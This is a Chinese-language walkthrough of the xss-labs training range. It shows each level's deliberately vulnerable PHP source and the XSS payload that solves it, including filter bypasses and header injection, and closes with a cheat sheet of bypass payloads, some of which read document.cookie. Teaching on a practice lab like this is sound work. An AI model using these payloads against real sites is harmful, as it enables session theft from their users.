xss-labs 靶场攻略
先讲讲什么是跨站脚本攻击XSS(Cross Site Scripting)
XSS原理
本质上是针对html的一种注入攻击,没有遵循数据与代码分离的原则,把用户输入的数据当作代码来执行
xss跨站脚本攻击是指恶意攻击者往Web页面里插入恶意脚本代码(包括当不限于js,flash等等),当用户浏览该页面时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的目的。为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,所以将跨站脚本攻击缩写为XSS。
初学xss,最好的靶场莫过于xss-labs,直接开搞,这是下载链接https://github.com/do0dl3/xss-labs
搭建好后的开始界面如下
过关机制
首先我们先简单了解一下,过关的机制,拿第一关level1.php源码举例子
代码如下(懂代码的不一定是搞安全的,搞安全的一定是懂代码的)
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function() <!--当有弹窗出现时,执行以下代码 -->
{
confirm("完成的不错!"); <!--confirm()方法用于显示一个带有指定消息和确定及取消按钮的对话框。我们xss一般验证就是爆一个弹窗出来-->
window.location.href="level2.php?keyword=test"; <!-- 然后跳转到第二关,后续关卡基本相同以此类推即可 -->
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0); //不显示错误报告
$str = $_GET["name"]; //获取参数传入
echo "<h2 align=center>欢迎用户".$str."</h2>"; //用户输入什么就输出什么
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
过关就一点,让浏览器蹦出弹窗即可进入下一关。但是注意!初学者不要F12自己改前端的代码,自己蹦弹窗,这是起不到训练的目的的。
第一关 直接注入
payload
/level1.php?name=<script>alert(1)</script>
第一关代码上面写了,没有任何过滤,直接写上
第二关 被转义了 闭合它
源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'"> //注入点
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
我们输入的数据被写入了value里,可以添加 "> 来闭合前面的
payload
"><script>alert(1)</script>
第三关 利用鼠标属性
先讲讲htmlspecialchars
使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素
但是默认是只编码双引号的,而且单引号无论如何都不转义。
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符是:
- & (和号)成为 &amp;
- " (双引号)成为 &quot;
- ' (单引号)成为 '
- < (小于)成为 &lt;
- > (大于)成为 &gt;
添加鼠标点击,出现弹窗即可
payload
'onclick='alert(1)
然后网页的表单输入框的就会被添加 onclick属性,我们点击一下,输入框即可过关
第四关 稍微加了点过滤
和第三关差不多只是在第三关的基础上添加了对 尖括号的过滤
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str); //新加的过滤
$str3=str_replace("<","",$str2); //新加的过滤
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
payload
" onclick="alert(1)
第五关 绕过元素
第五关过滤了 on 和 <script,但是我们可以用其他payload
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
echo $str2;
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
payload
javascript:alert(1) 使用了java伪协议,感兴趣的可以百度查查,就是把javascript: :后面的代码当JavaScript来执行
"><iframe src="javascript:alert(1)"></iframe>
"><a href="javascript:alert(1)">
第六关 大小写
过滤的更多,但是大小写可以绕过的
代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
payload
"><a HrEf="javascript:alert(1)">
"><iframe sRc="javascript:alert(1)"></iframe>
第七关 双写绕过
这次学聪明了,把我们输入的强制改成了小写,但是过滤不严谨,我们可以双写绕过
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]); //全变小写
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
没有循环过滤 把大小写屏蔽了
payload
"><scscriptript>alert(1)</sscriptcript>
第八关 html字符实体绕过
这一关黑名单过滤还是挺严的,但是我们可以用HTML实体来绕过过滤(单单黑名单还是不安全嘞)
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><br>
<a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
HTML字符实体转换,网页字符实体编码 (qqxiuzi.cn)
添加友情链接
用转换器转化
payload
写完点一下链接即可
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
第九关 看有无http://
这一关不看源码基本想不到,输入必须有http:// 才行,典型白名单
payload
就在上一关的基础上,加上 //http:// ,两次// 都是必须要写的
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://
第十关 hidden
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
这一关必须看浏览器代码!!!你会发现输入框被hidden了,没事我们让它再显示出来就行
被隐藏了,我们把type改成 text即可
payload
注意哦,参数改了
?t_sort=" type="text" onclick="alert('xss')
第十一关 referer头注入
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];//refer也成了输出参数,我们从这个下手
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
我们看浏览器的传过来的源码会发现
input name="t_ref" value="http://127.0.0.1/xss-labs-master/level10.php?t_sort=%22%20type=%22text%22%20onclick=%22alert(%27xss%27)" type="hidden">
所以referer头也成了输出参数,我们从这个下手,打开postman 或者 burpsuite,将payload写到referer里
" type="text" onmousemove="alert(1)
第十二关 User-Agent头
写User-Agent头和十一关同理
" type="text" onmousemove="alert(1)
第十三关 cookie头
写User-Agent头和十一关同理
" type="text" onmousemove="alert(1)
第十四关 exif xss
这一关比较特殊,payload是一张图片马,考到了CTF中的杂项中隐写Exif隐藏信息,就不展开讲了,感兴趣的可以去百度搜搜
首先什么是exif
可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。可使用鼠标右键进入属性页面查看部分信息。
代码
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>
payload
第十五关 ng-include
源码
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
文件包含 AngularJS ng-include 指令 | 菜鸟教程 (runoob.com)
ng-include指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include
属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
**payload ** 我们包含第一关的漏洞即可
http://127.0.0.1/xss-labs-master/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'
第十六关 绕过空格
直接把空格过滤了
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>
1、“0D”是把光标移到同一行的顶头——回车(CR)。
2、“0A”是把光标移到下一行——换行(LF)。
使用替身,就是将%0a或者%0D当成空格使用,在HTML中这样是合法的。
http://127.0.0.1/xss-labs-master/level16.php?keyword=<img%0dsrc=1%0donerror=alert(1)>
第十七关 embed 标签 拼接绕过
从这一关开始后面所有关卡,都调用外部xsf01.swf文件了,慢慢开始和逆向有关了,大伙学到这本靶场的xss知识点就差不多get完了,后面有能力的可以看看
<embed>
标签,是用来嵌入图片的。可以用onclick或onmouseover绕过。因为这两个变量是互相拼接起来的,所以在输入arg02时在b之后加一个空格,当浏览器解析到b的时候就停止判断,然后将onclick或onmouseover看作另外一个属性。
但是17 和18关我们可以用妙手来解,绕过加载的swf文件!!!!
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; //开始调用外部xsf01.swf文件了
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
payload
http://127.0.0.1/xss-labs-master/level17.php?arg01=a&arg02=aaa onmousemove='alert(1)'
特别注意,火狐浏览器有可能不兼容,我用谷歌和Microsoft Edge都行
第十八关 拼接绕过
和十七关同理
payload
http://127.0.0.1/xss-labs-master/level18.php?arg01=a&arg02=aaa onmousemove='alert(1)'
第十九关 flash xss
这关是flash xss,涉及到反编译,能力有限,直接上逆向后的payload
有人可能会问为啥这里不能用前面两关的方法了?因为源码把上面漏洞闭合了,加了一对双引号,绕不出去了(作者故意的)
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level20.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>'; //作者把这个写死了,之前的方法绕不过了
?>
</body>
</html>
payload
arg01=version&arg02=<a href="javascript:alert(1)">123</a>
第二十关 反编译
能力之外啦,以后学有所成再来补档!
arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)
个人总结的一些payload
理论上来讲,xss漏洞是可以彻底解决的,但是市面上还是 有不少的,以后再和大家分享我的挖洞经历吧!
下面的payload不同场合适当加上 "> 来闭合页面的包含。还有一些payload,我复现没成功就不列举了(有些过时了被修复了)
<script>alert(document.cookie)</script>
<script>prompt(document.cookie)</script>
<script>confirm(/xss/)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script> //Unicode码 还有十六进制 URL编码 JS编码 HTML实体编码等等
<script>alert/*dsa*/(1)</script> //绕过黑名单
<script>(alert)(1)</script> //绕过黑名单
<svg/onload=alert(1)>
<body onload=alert("XSS")>
<svg onload="alert(1)"> //过滤 script时
"><svg/onload=alert(1)//
<input value="1" autofocus onfocus=alert(1) x=""> //过滤 script时
<a href="" onclick="alert(1111)">
<iframe src="javascript:alert(1)"></iframe> //过滤 script时
<svg onmousemove="alert(1)">
<input name="name" value=”” onmousemove=prompt(document.cookie) >
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<input type = "button" value ="clickme" onclick="alert('click me')" />
<BODY onload="alert('XSS')">
<IMG SRC="" onerror="alert('XSS')">
<IMG SRC="" onerror="javascript:alert('XSS');">
制表符 绕过滤器的
<IMG SRC="" onerror="javscript:alert('XSS');">
1.<iframe src=javas cript:alert(1)></iframe> //Tab
2.<iframe src=javas
cript:alert(1)></iframe> //回车
3.<iframe src=javas
cript:alert(1)></iframe> //换行
4.<iframe src=javascript:alert(1)></iframe> //编码冒号
5.<iframe src=javasc
ript:alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持
<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWHNzVGVzdCIpOzwvc2NyaXB0Pg=="></object>
"><img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))">
<script>onerror=alert;throw document.cookie</script>
<script>{onerror=alert}throw 1337</script> //过滤 单引号,双引号,小括号时 没过滤script
<a href="" onclick="alert(1111)">
' οnclick=alert(1111) '